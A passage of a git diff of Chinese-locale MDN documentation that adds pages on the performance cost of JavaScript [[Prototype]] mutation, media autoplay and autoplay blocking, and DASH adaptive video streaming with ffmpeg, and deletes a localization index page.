Objects are hashes, 所以理论上来说 (实际上也是如此) 访问属性所花费的时间是恒定不变的.  但是 "恒定不变" 的背后也可能有成千上万的机器指令.  幸运的是, 大多数情况下对象和属性是"可预测的", 在这些情况下它们的底层结构也是可预测的.  即时编译器可以据此来减少对象属性的访问所花费时间。

- -

引擎根据添加到对象的顺序属性进行优化。大多数属性都是按照非常相似的顺序添加到对象中的。(经常使用obj[val]风格的随机访问访问对象是一个明显的例外。)

- -
function Landmark(lat, lon, desc) {
-  this.location = { lat: lat, long: lon };
-  this.description = desc;
-}
-var lm1 = new Landmark(-90, 0, "South Pole");
-var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
- -

在上面的例子中,每生成一个 Landmark 对象时都将按照 location 和 description 两个属性顺序加载,而存储“经度/纬度”信息的 location 也具有 lat 到 long 的顺序。随后的代码可以删除一个属性。但这是不可能的,因为引擎在这种情况下会生成一段不太理想的代码。在 SpiderMonkey (火狐的 JavaScript 引擎)里,属性的特定顺序(以及属性的其他一些方面,但不包括值)我们称之为“形状”(shape)(谷歌 V8 引擎里,这个概念名为“结构ID”(structure ID))。如果两个对象共享同一个 shape,那么他们属性的存储也相同。

- -

Landmark 对象在引擎内部的(简化)版本如同下面的 C++:

- -
struct Property {
-  Property* prev; // null if first property
-  String name; // name of property
-  unsigned int index; // index of its value in storage
-};
-using Shape = Property*;
-struct Object {
-  Shape shape;
-  Value* properties;
-  Object* prototype;
-};
- -

例子中的JS表达式对应下面的 C++:

- -
lm1->properties[0]; // loc1.location
-lm1->properties[1]; // loc1.description
-lm2->properties[0].toObject()->properties[1]; // loc2.location.long
- -

如果引擎知道一个对象具有特殊 shape,就可以根据 shape 假定这个对象所有属性的索引。这样一来进行一次访问特定属性,也就相当于几个指针访问所花费的时间。机器语言去检查对象是否具有特定 shape 也很容易,如果有,那么假定索引快速访问;如果没有,那么慢慢来。

- -

Naively optimizing inherited properties

- -

Many properties don't exist directly on the object: lookups often find properties on the prototype chain.  Accesses to properties on prototypes is just extra "hops" through the prototype field to the object containing the property.  Optimizing correctly requires that no object along the way have the property, so every hop must check that object's shape.

- -
var d = new Date();
-d.toDateString(); // Date.prototype.toDateString
-
-function Pair(x, y) { this.x = x; this.y = y; }
-Pair.prototype.sum = function() { return this.x + this.y; };
-
-var p = new Pair(3, 7);
-p.sum(); // Pair.prototype.sum
- -

Engines take this quick-and-dirty approach in many cases.  But in especially performance-sensitive JavaScript, this isn't good enough.

- -

Intelligently optimizing inherited properties

- -

Predictable property accesses usually find the property a constant number of hops along the [[Prototype]] chain; intervening objects usually don't acquire new properties; the ultimate object usually won't have any properties deleted.  Finally: [[Prototype]] mutation is rare.  All these common assumptions are necessary to avoid slow prototype-hopping.  Different engines choose different approaches to intelligently optimize inherited properties.

- -
-
The shape of the ultimate object containing the inherited can be checked.
-
In this case, a shape match must imply that no intervening object's [[Prototype]] has been modified.  Therefore, when an object's [[Prototype]] is mutated, every object along its [[Prototype]] chain must also have its shape changed.
-
-
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Objects whose shapes would change: obj3, obj2, obj1, Object.prototype
-obj3.__proto__ = {};
-
-
The shape of the object initially accessed can be checked.
-
Every object that might inherit through a changed-[[Prototype]] object must change, reflecting the [[Prototype]] mutation having happened
-
-
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Objects whose shapes would change: obj1, obj2, obj3
-obj1.__proto__ = {};
-
-
- -

Pernicious effects of [[Prototype]] mutation

- -

[[Prototype]] mutation's adverse performance impact occurs in two phases: at the time mutation occurs, and in subsequent execution.  First, mutating [[Prototype]] is slow.  Second, mutating [[Prototype]] slows down code that interacts with mutated-[[Prototype]] objects.

- -

Mutating [[Prototype]] is slow

- -

While the spec considers mutating [[Prototype]] to be modifying a single hidden property, real-world implementations are considerably more complex.  Both shape-changing tactics described above require examining (and modifying) more than one object.  Which approach modifies fewer objects in practice, depends upon the workload.

- -

Mutated [[Prototype]]s slow down other code

- -

The bad effects of [[Prototype]] mutation don't end once the mutation is complete.  Because so many property-examination operations implicitly depend on [[Prototype]] chains not changing, when engines observe a mutation, an object with mutated [[Prototype]] "taints" all code the object flows through.  This tainting flows through all code that ever observes a mutated-[[Prototype]] object.  As a near-worst-case illustration, consider these patterns of behavior:

- -
var obj = {};
-obj.__proto__ = { x: 3 }; // gratuitous mutation
-
-var arr = [obj];
-for (var i = 0; i < 5; i++)
-  arr.push({ x: i });
-
-function f(v, i) {
-  var elt = v[i];
-  var r =  elt.x > 2 // pessimized
-           ? elt
-           : { x: elt.x + 1 };
-  return r;
-}
-var c = f(arr, 0);
-c.x; // pessimized: return value has unknown properties
-c = f(arr, 1);
-c.x; // still pessimized!
-
-var arr2 = [c];
-arr2[0].x; // pessimized
-
- -

(Only code that runs many times is optimized, so this doesn't trigger all these bad behaviors.  But every breakdown could happen if it appeared in "hot" code.)

- -

Recognizing exactly where a mutated-[[Prototype]] object flows, often across multiple scripts, is extraordinarily difficult.  It depends on careful textual analysis of the code and particular runtime behaviors.  Far-distant changes, that trigger subtly different control flow, can taint previously-optimal code paths with pessimal behavior.  It's impossible to recognize all the places that will become slower, even for a JavaScript language implementer.

- -

remaining constant.Mutation must, in addition to changing other objects' shapes,

- -

 

- -

  But this requires storing cross-object information.

- -

Cross-object information is different from shape, in that it can't easily be checked.  One modification to this information may affect many locations, none obviously connected to it: where to look to verify assumptions?  So instead of checking the assumptions before use, all code making assumptions is invalidated when a modification happens.  When a [[Prototype]] changes, all code depending on it must be thrown away.  The operation obj.__proto__ = ... is thus inherently slow.  And by throwing away already-optimized code, it makes that code much slower when it runs later.

- -

But it's worse than that.  When evaluating obj.prop sees an object whose [[Prototype]] has been mutated, so much previously-known information about the object becomes useless that SpiderMonkey considers the object to have wholly-unknown characteristics.  Any code path that touches such an object in the future will assume the worst.  Optimizing JIT engines assume that future execution is like past execution.  If an object with mutated [[Prototype]] is observed by some code, that code will likely observe more such objects.  Therefore, operations that interact with an object with mutated [[Prototype]], anywhere, in any scripts, are un-optimizable.

- -

The un-optimizability of objects with mutated [[Prototype]] is not

diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html new file mode 100644 index 0000000000..aacff4c8d9 --- /dev/null +++ b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html @@ -0,0 +1,142 @@ +--- +title: 'The performance hazards of [[Prototype]] mutation' +slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +--- +

{{draft}}

+ +

{{jsSidebar("Advanced")}}

+ +

每个JavaScript对象都拥有一个[[Prototype]]对象。  获取一个对象的属性时首先会搜索其自身, 然后就是它的 [[Prototype]]对象, 之后再搜索此[[Prototype]]对象的 [[Prototype]]对象, 直到找到这个属性或者搜索链条达到终点. 这个类似链条的查找过程被称为原型链。  原型链在对象继承中非常重要。

+ +

ECMAScript 6 引入了一种方式来修改 [[Prototype]]对象。 提升了灵活性的代价是降低了性能。 修改[[Prototype]] 对象会损害降低所有现代 JavaScrip引擎的性能。这篇文章解释了修改 [[Prototype]] 对象在所有浏览器中都很慢的原因并给出了替代方案。

+ +

JavaScript引擎是如何提升访问对象属性的性能的

+ +

Objects are hashes, 所以理论上来说 (实际上也是如此) 访问属性所花费的时间是恒定不变的.  但是 "恒定不变" 的背后也可能有成千上万的机器指令.  幸运的是, 大多数情况下对象和属性是"可预测的", 在这些情况下它们的底层结构也是可预测的.  即时编译器可以据此来减少对象属性的访问所花费时间。

+ +

引擎根据添加到对象的顺序属性进行优化。大多数属性都是按照非常相似的顺序添加到对象中的。(经常使用obj[val]风格的随机访问访问对象是一个明显的例外。)

+ +
function Landmark(lat, lon, desc) {
+  this.location = { lat: lat, long: lon };
+  this.description = desc;
+}
+var lm1 = new Landmark(-90, 0, "South Pole");
+var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
+ +

在上面的例子中,每生成一个 Landmark 对象时都将按照 location 和 description 两个属性顺序加载,而存储“经度/纬度”信息的 location 也具有 lat 到 long 的顺序。随后的代码可以删除一个属性。但这是不可能的,因为引擎在这种情况下会生成一段不太理想的代码。在 SpiderMonkey (火狐的 JavaScript 引擎)里,属性的特定顺序(以及属性的其他一些方面,但不包括值)我们称之为“形状”(shape)(谷歌 V8 引擎里,这个概念名为“结构ID”(structure ID))。如果两个对象共享同一个 shape,那么他们属性的存储也相同。

+ +

Landmark 对象在引擎内部的(简化)版本如同下面的 C++:

+ +
struct Property {
+  Property* prev; // null if first property
+  String name; // name of property
+  unsigned int index; // index of its value in storage
+};
+using Shape = Property*;
+struct Object {
+  Shape shape;
+  Value* properties;
+  Object* prototype;
+};
+ +

例子中的JS表达式对应下面的 C++:

+ +
lm1->properties[0]; // loc1.location
+lm1->properties[1]; // loc1.description
+lm2->properties[0].toObject()->properties[1]; // loc2.location.long
+ +

如果引擎知道一个对象具有特殊 shape,就可以根据 shape 假定这个对象所有属性的索引。这样一来进行一次访问特定属性,也就相当于几个指针访问所花费的时间。机器语言去检查对象是否具有特定 shape 也很容易,如果有,那么假定索引快速访问;如果没有,那么慢慢来。

+ +

Naively optimizing inherited properties

+ +

Many properties don't exist directly on the object: lookups often find properties on the prototype chain.  Accesses to properties on prototypes is just extra "hops" through the prototype field to the object containing the property.  Optimizing correctly requires that no object along the way have the property, so every hop must check that object's shape.

+ +
var d = new Date();
+d.toDateString(); // Date.prototype.toDateString
+
+function Pair(x, y) { this.x = x; this.y = y; }
+Pair.prototype.sum = function() { return this.x + this.y; };
+
+var p = new Pair(3, 7);
+p.sum(); // Pair.prototype.sum
+ +

Engines take this quick-and-dirty approach in many cases.  But in especially performance-sensitive JavaScript, this isn't good enough.

+ +

Intelligently optimizing inherited properties

+ +

Predictable property accesses usually find the property a constant number of hops along the [[Prototype]] chain; intervening objects usually don't acquire new properties; the ultimate object usually won't have any properties deleted.  Finally: [[Prototype]] mutation is rare.  All these common assumptions are necessary to avoid slow prototype-hopping.  Different engines choose different approaches to intelligently optimize inherited properties.

+ +
+
The shape of the ultimate object containing the inherited can be checked.
+
In this case, a shape match must imply that no intervening object's [[Prototype]] has been modified.  Therefore, when an object's [[Prototype]] is mutated, every object along its [[Prototype]] chain must also have its shape changed.
+
+
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Objects whose shapes would change: obj3, obj2, obj1, Object.prototype
+obj3.__proto__ = {};
+
+
The shape of the object initially accessed can be checked.
+
Every object that might inherit through a changed-[[Prototype]] object must change, reflecting the [[Prototype]] mutation having happened
+
+
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Objects whose shapes would change: obj1, obj2, obj3
+obj1.__proto__ = {};
+
+
+ +

Pernicious effects of [[Prototype]] mutation

+ +

[[Prototype]] mutation's adverse performance impact occurs in two phases: at the time mutation occurs, and in subsequent execution.  First, mutating [[Prototype]] is slow.  Second, mutating [[Prototype]] slows down code that interacts with mutated-[[Prototype]] objects.

+ +

Mutating [[Prototype]] is slow

+ +

While the spec considers mutating [[Prototype]] to be modifying a single hidden property, real-world implementations are considerably more complex.  Both shape-changing tactics described above require examining (and modifying) more than one object.  Which approach modifies fewer objects in practice, depends upon the workload.

+ +

Mutated [[Prototype]]s slow down other code

+ +

The bad effects of [[Prototype]] mutation don't end once the mutation is complete.  Because so many property-examination operations implicitly depend on [[Prototype]] chains not changing, when engines observe a mutation, an object with mutated [[Prototype]] "taints" all code the object flows through.  This tainting flows through all code that ever observes a mutated-[[Prototype]] object.  As a near-worst-case illustration, consider these patterns of behavior:

+ +
var obj = {};
+obj.__proto__ = { x: 3 }; // gratuitous mutation
+
+var arr = [obj];
+for (var i = 0; i < 5; i++)
+  arr.push({ x: i });
+
+function f(v, i) {
+  var elt = v[i];
+  var r =  elt.x > 2 // pessimized
+           ? elt
+           : { x: elt.x + 1 };
+  return r;
+}
+var c = f(arr, 0);
+c.x; // pessimized: return value has unknown properties
+c = f(arr, 1);
+c.x; // still pessimized!
+
+var arr2 = [c];
+arr2[0].x; // pessimized
+
+ +

(Only code that runs many times is optimized, so this doesn't trigger all these bad behaviors.  But every breakdown could happen if it appeared in "hot" code.)

+ +

Recognizing exactly where a mutated-[[Prototype]] object flows, often across multiple scripts, is extraordinarily difficult.  It depends on careful textual analysis of the code and particular runtime behaviors.  Far-distant changes, that trigger subtly different control flow, can taint previously-optimal code paths with pessimal behavior.  It's impossible to recognize all the places that will become slower, even for a JavaScript language implementer.

+ +

remaining constant.Mutation must, in addition to changing other objects' shapes,

+ +

 

+ +

  But this requires storing cross-object information.

+ +

Cross-object information is different from shape, in that it can't easily be checked.  One modification to this information may affect many locations, none obviously connected to it: where to look to verify assumptions?  So instead of checking the assumptions before use, all code making assumptions is invalidated when a modification happens.  When a [[Prototype]] changes, all code depending on it must be thrown away.  The operation obj.__proto__ = ... is thus inherently slow.  And by throwing away already-optimized code, it makes that code much slower when it runs later.

+ +

But it's worse than that.  When evaluating obj.prop sees an object whose [[Prototype]] has been mutated, so much previously-known information about the object becomes useless that SpiderMonkey considers the object to have wholly-unknown characteristics.  Any code path that touches such an object in the future will assume the worst.  Optimizing JIT engines assume that future execution is like past execution.  If an object with mutated [[Prototype]] is observed by some code, that code will likely observe more such objects.  Therefore, operations that interact with an object with mutated [[Prototype]], anywhere, in any scripts, are un-optimizable.

+ +

The un-optimizability of objects with mutated [[Prototype]] is not

diff --git a/files/zh-cn/web/localization/index.html b/files/zh-cn/web/localization/index.html deleted file mode 100644 index 0bc89e00c7..0000000000 --- a/files/zh-cn/web/localization/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 本地化和全球化 -slug: Web/Localization -translation_of: Web/Localization ---- -

本地化(通常缩写为 L10n)能够使网站、Web应用或任何其他形式的内容适用于特定语言的范围和文化圈。国际化(通常缩写为 I18n)被设计用来使网站或应用程序尽可能的实现本地化。

- -
-
-

指南和教程

- -

指南和教程可帮助您学习如何确保您的项目已准备好全球化,以及如何将其本地化。

- -
-
国际化概念
-
概述什么是国际化(i18n)以及可用于Web开发人员的哪些功能和技术可用于确保您的内容准备好进行本地化。
-
本地化简介
-
关于本地化网站或应用程序的入门指南,从确定需要检查和可能更改的因素到实际应用所需的更改。
-
Unicode双向文本算法(译者注:尚未翻译)
-
Unicode双向算法是用于确定Unicode文本的呈现顺序的标准算法,而Web浏览器在呈现内容时使用它。 本概述将使您对{{Glossary("BiDi")}}算法及其对您的国际化工作有何影响。
-
-
- -
-

参考

- -

参考资料将在您创建可本地化的站点时提供帮助。

- -
-
可用于i18n和l10n的HTML元素
-
对HTML提供的元素的引用,这些元素可用于创建准备本地化的内容。
-
CSS和本地化
-
对CSS属性的参考,在生成支持10n的内容时特别重要。
-
-
-
diff --git a/files/zh-cn/web/media/autoplay_guide/index.html b/files/zh-cn/web/media/autoplay_guide/index.html new file mode 100644 index 0000000000..db2ac88dc0 --- /dev/null +++ b/files/zh-cn/web/media/autoplay_guide/index.html @@ -0,0 +1,265 @@ +--- +title: Autoplay guide for media and Web Audio APIs +slug: Web/媒体/Autoplay_guide +translation_of: Web/Media/Autoplay_guide +--- +

Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

+ +

Autoplay blocking is not applied to {{HTMLElement("video")}} elements when the source media does not have an audio track, or if the audio track is muted. Media with an active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not affected by autoplay blocking.

+ +

自动播放 和 自动播放暂停

+ +

The term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of JavaScript code to start playback outside the context of handling user input.

+ +

That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy:

+ +
<audio src="/music.mp4" autoplay>
+ +

+ +
audioElement.play();
+
+ +

以下网络功能和API可能会受到自动播放阻止的影响:

+ +
    +
  • The {{Glossary("HTML")}} {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements
  • +
  • The Web Audio API
  • +
+ +

从用户的角度来看,网页或应用程序自动地发出噪音而没有警告可能会令人讨厌、不便或令人反感。因此,浏览器通常仅允许在特定情况下进行自动播放。

+ +

Autoplay功能

+ +

据新政策,媒体内容将在满足以下至少一个的条件下自动播放:

+ +
    +
  • 音频被静音或其音量设置为0
  • +
  • 用户和网页已有交互行为(包括点击、触摸、按下某个键等等)
  • +
  • 网站已被列入白名单;如果浏览器确定用户经常与媒体互动,这可能会自动发生,也可能通过首选项或其他用户界面功能手动发生
  • +
  • 自动播放策略应用到{{HTMLElement("iframe")}}或者其文档上
  • +
+ +

否则,播放可能会被阻止。导致播放被阻塞的确切情况以及将网站列入白名单的具体方法因浏览器而异,但最好是遵循以上的原则。

+ +

详情,请参阅 Google Chrome 和 WebKit 的自动播放政策。

+ +
+

注意: 换句话说,如果在尚无任何用户交互的页面中通过编程方式启动播放,则通常会阻止任何包含音频在内的媒体的播放。

+
+ +

能自动播放的媒体元素

+ +

既然我们已经介绍了什么是自动播放以及什么可以阻止自动播放,接下来我们将介绍您的网站或应用程序如何在页面加载时自动播放媒体,如何检测何时自动播放失败,以及当自动播放被浏览器拒绝时的应对技巧。

+ +

autoplay 属性

+ +

想让内容自动播放的最简单方法是将{{htmlattrxref("autoplay", "audio")}}属性添加到{{HTMLElement("audio")}}或{{HTMLElement("video")}}元素。并将{{domxref("HTMLMediaElement.autoplay", "autoplay")}}属性设置为 true ,当 autoplay 的属性为 true 时,媒体元素将在发生以下情况后尽快自动开始播放:

+ +
    +
  • +

    页面允许使用自动播放功能

    +
  • +
  • 媒体元素已在页面加载期间创建
  • +
  • 假设网络性能或带宽没有显着变化,且已收到足够的媒体流并已开始播放,继续播放直至媒体结束而不会中断。
  • +
+ +

例子1: autoplay属性

+ +

使用 autoplay 属性的{{HTMLElement("audio")}}元素就像如下:

+ +
<audio id="musicplayer" autoplay>
+  <source src="/music/chapter1.mp4"
+</audio>
+
+ +

例子2:检测自动播放失败

+ +

如果你依靠自动播放功能去做一些重要的事情,或者自动播放失败会以任何方式影响你的应用程序,那你可能会想知道自动播放什么时候没有开始。不幸的是,对于{{htmlattrxref("autoplay", "audio")}}属性,识别自动播放是否成功开始是很棘手的。自动播放失败时不会触发任何事件。也没有抛出异常或可以设置回调,甚至在媒体元素上都没有标记来告诉你自动播放是否起作用。你实际能做的就是检查一些值,然后根据这些值猜测自动播放是否起作用。

+ +

如果您能够调整查看内容的方向,那么更好的方法是,依靠知道媒体播放已成功开始,而不是在媒体启动失败时知道。您可以通过侦听要在媒体元素上触发的{{event("play")}}事件来轻松实现此目的。

+ +

The play event is sent both when the media is resumed after being paused and when autoplay occurs. That means that the first time the play event is fired, you know your media is being started for the first time after the page is opened.

+ +

Consider this HTML for a media element:

+ +
<video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)">
+ +

Here we have a {{HTMLElement("video")}} element whose {{htmlattrxref("autoplay", "video")}} attribute is set, with an {{domxref("HTMLMediaElement.onplay", "onplay")}} event handler set up; the event is handled by a function called handleFirstPlay(), which receives as input the play event.

+ +

handleFirstPlay() looks like this:

+ +
function handleFirstPlay(event) {
+  let vid = event.target;
+
+  vid.onplay = null;
+
+  // Start whatever you need to do after playback has started
+}
+ +

After getting a reference to the video element from the {{domxref("Event")}} object's {{domxref("Event.target", "target")}}, the element's onplay handler is set to null. This will prevent any future play events from being delivered to the handler. That could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a background tab.

+ +

At this point, your site or app can begin whatever it needs to do that relies upon the video having been started up.

+ +
+

Note: This approach doesn't differentiate between autoplay and the user starting playback manually.

+
+ +

The play() method

+ +

The term "autoplay" also refers to scenarios in which a script tries to trigger the playback of media that includes audio, outside the context of handling a user input event. This is done by calling the media element's {{domxref("HTMLMediaElement.play", "play()")}} method.

+ +
+

Note: It is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically. It also lets the browser take responsibility for starting playback, letting it optimize the timing of that taking place.

+
+ +

Example: Playing video

+ +

This simple example plays the first {{HTMLElement("video")}} element found in the document. play() won't let the playback begin unless the document has permission to automatically play media.

+ +
document.querySelector("video").play();
+ +

Example: Handling play() failures

+ +

It's much easier to detect a failure to autoplay media when you use the {{domxref("HTMLMediaElement.play", "play()")}} method to start it. play() returns a {{jsxref("Promise")}} which is resolved once the media successfully begins to play, and is rejected when playback fails to begin (such as if autoplay is denied). When autoplay fails, you likely will want to offer a way for the user to manually tell the browser to ask the user to grant permission to play media.

+ +

You might use code like this to accomplish the job:

+ +
let startPlayPromise = videoElem.play();
+
+if (startPlayPromise !== undefined) {
+  startPlayPromise.catch(error => {
+    if (error.name === "NotAllowedError") {
+      showPlayButton(videoElem);
+    } else {
+      // Handle a load or playback error
+    }
+  }).then(() => {
+    // Start whatever you need to do only after playback
+    // has begun.
+  });
+}
+
+ +

The first thing we do with the result of play() is make sure it's not undefined. We check for this because in earlier versions of the HTML specification, play() didn't return a value. Returning a promise to allow you to determine success or failure of the operation was added more recently. Checking for undefined prevents this code from failing with an error on older versions of web browsers.

+ +

We then add a {{jsxref("Promise.catch", "catch()")}} handler to the promise. This looks at the error's {{domxref("DOMException.name", "name")}} to see if it's NotAllowedError. This indicates that playback failed due to a permission issue, such as autoplay being denied. If that's the case, we should present a user interface to let the user manually start playback; that's handled here by a function showPlayButton().

+ +

Any other errors are handled as appropriate.

+ +

If the promise returned by play() is resolved without error, the then() clause is run and can begin whatever needs to be done when autoplay has begun.

+ +

Autoplay using the Web Audio API

+ +

In the Web Audio API, a web site or app can start playing audio using the start() method on a source node linked to the {{domxref("AudioContext")}}. Doing so outside the context of handling a user input event is subject to autoplay rules.

+ +

More content will come soon; autoplay blocking is still being worked on at Mozilla. If others have it already, they are welcome to pitch in with this section...

+ +

The autoplay feature policy

+ +

In addition to the browser-side management and control over autoplay functionality described above, a web server can also express its willingness to allow autoplay to function. The {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} header's autoplay directive is used to control which domains, if any, can be used to autoplay media. By default, the autoplay feature policy is set to 'self' (including the single quote characters), indicating that autoplay is permitted as they're hosted on the same domain as the document.

+ +

You can also specify 'none' to disable autoplay entirely, '*' to allow autoplay from all domains, or one or more specific origins from which media can be automatically played. These origins are separated by space characters.

+ +
+

Note: The specified feature policy applies to the document and every {{HTMLElement("iframe")}} nested within it, unless those frames include an {{htmlattrxref("allow", "iframe")}}, which sets a new feature policy for that frame and all frames nested within it.

+
+ +

When using the {{htmlattrxref("allow", "iframe")}} attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's {{htmlattrxref("src", "iframe")}} attribute.

+ +

Example: Allowing autoplay only from the document's domain

+ +

To use the {{HTTPHeader("Feature-Policy")}} header to only allow media to autoplay from the document's {{Glossary("origin")}}:

+ +
Feature-Policy: autoplay 'self'
+ +

To do the same for an {{HTMLElement("iframe")}}:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'src'">
+</iframe>
+
+ +

Example: Allowing autoplay and fullscreen mode

+ +

Adding Fullscreen API permission to the previous example results in a Feature-Policy header like the following if fullscreen access is allowed regardless of the domain; a domain restriction can be added as well as needed.

+ +
Feature-Policy: autoplay 'self'; fullscreen
+ +

The same permissions, grated using the <iframe> element's allow property, look like this:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'src'; fullscreen">
+</iframe>
+
+ +

Example: Allowing autoplay from specific sources

+ +

The Feature-Policy header to allow media to be played from both the document's (or <iframe>'s) own domain and https://example.media looks like this:

+ +
Feature-Policy: autoplay 'self' https://example.media
+ +

An {{HTMLElement("iframe")}} can be written to specify that this autoplay policy should be applied to itself and any child frames would be written thusly:

+ +
<iframe width="300" height="200"
+        src="mediaplayer.html"
+        allow="autoplay 'src' https://example.media">
+</iframe>
+
+ +

Example: Disabling autoplay

+ +

Setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. The HTTP header is:

+ +
Feature-Policy: autoplay 'none'
+ +

Using the <iframe>'s allow attribute:

+ +
<iframe src="mediaplayer.html"
+        allow="autoplay 'none'">
+</iframe>
+
+ +

Best practices

+ +

Tips and recommended best practices to help you make the most of working with autoplay are offered here.

+ +

Handling autoplay failure with media controls

+ +

A common use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. To autoplay videos like these, you have two options: don't have an audio track, or have an audio track but configure the {{HTMLElement("video")}} element to mute the audio by default, like this:

+ +
<video src="/videos/awesomevid.webm" controls autoplay muted>
+ +

This video element is configured to include the user controls (typically play/pause, scrubbing through the video's timeline, volume control, and muting); also, since the {{htmlattrxref("muted", "video")}} attribute is included, the video will autoplay but with the audio muted. The user has the option, however, of re-enabling the audio by clicking on the unmute button in the controls.

+ +

Browser configuration options

+ +

Browsers may have preferences that control the way autoplay works, or how autoplay blocking is handled. Here, any such preferences that may be of special significance or importance to you as a web developer are listed. These include any that may aid in testing or debugging as well as any that could be set in a way that you need to be prepared to handle.

+ +

Firefox

+ +
+
media.allowed-to-play.enabled
+
A Boolean preference which specifies whether or not the {{domxref("HTMLMediaElement.allowedToPlay")}} property is exposed to the web. This is currently false by default (except in nightly builds, where it's true by default). If this is false, the allowedToPlay property is missing from the HTMLMediaElement interface, and is thus not present on either {{HTMLElement("audio")}} or {{HTMLElement("video")}} elements.
+
media.autoplay.allow-extension-background-pages
+
This Boolean preference, if true, allows browser extensions' background scripts to autoplay audio media. Setting this value to false disables this capability. The default value is true.
+
media.autoplay.allow-muted
+
A Boolean preference which if true (the default) allows audio media which is currently muted to be automatically played. If this has been changed to false, media with an audio track will not be permitted to play even if muted.
+
media.autoplay.block-webaudio
+
A Boolean preference which indicates whether or not to apply autoplay blocking to the Web Audio API. The default is true.
+
media.autoplay.default
+
An integer preference which specifies whether per-domain configuration for autoplay support by default is allowed (0), blocked (1), or prompt-on-use (2). The default value is 0.
+
media.autoplay.enabled.user-gestures-needed (Nightly builds only)
+
A Boolean preference which controls whether or not detection of user gestures is allowed to override the setting of media.autoplay.default. If media.autoplay.default is not set to 0 (autoplay allowed by default), this preference being true allows autoplay of media with audio tracks anyway if the page has been activated by user gestures, and media that isn't audible is not restricted at all.
+
media.block-autoplay-until-in-foreground
+
A Boolean preference which indicates whether or not media playback is blocked when started on a background tab. The default value, true, means that even when otherwise available, autoplay won't take place until after a tab is brought to the foreground. This prevents the distracting situation in which a tab begins playing sound and the user can't find the tab among all their tabs and windows.
+
+ +

See also

+ + diff --git a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html new file mode 100644 index 0000000000..aed7160371 --- /dev/null +++ b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html @@ -0,0 +1,100 @@ +--- +title: 为 HTML 5 视频提供的 DASH 自适应串流 +slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video +tags: + - DASH + - HTML + - HTML5 + - 指南 + - 视频流 +translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +--- +

经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

+ +

浏览器支持

+ +

Firefox 21 包含了针对 HTM5 WebM 视频的 DASH 实现,但默认没有启用。可以通过在“about:config”里调整“media.dash.enabled”首选项来开启。

+ +

Firefox 23 移除了针对 HTML5 WebM 视频的 DASH 实现。此功能将被 媒体源扩展 API(MSE) 的实现取代。MSE 可实现通过 JavaScript 库(例如 dash.js)来提供对 DASH 的支持。详情参见 Bug 778617

+ +

使用 DASH - 服务端

+ +

首先,您需要将WebM视频转换为带有不同比特率的随附视频文件的DASH清单。根据您的需求,启动从 ffmpeg.org 的 ffmpeg 程序,就可以使用 libvpx 和 libbvorbis 支持的 WebM 视频和音频(版本2.5以上,3.2.5版本已通过测试)。

+ +

1. 使用现有的WebM文件创建一个音频文件和多个视频文件。

+ +

例如:

+ +

文件in.video可以是任何包含至少一个音频和一个视频流的容器,这些容器可以由ffmpeg解码,

+ +

创建音频:

+ +
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k my_audio.webm
+
+
+ +

创建不同的视频

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:190 -b:v 250k video_160x90_250k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=320:180 -b:v 500k video_320x180_500k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm
+
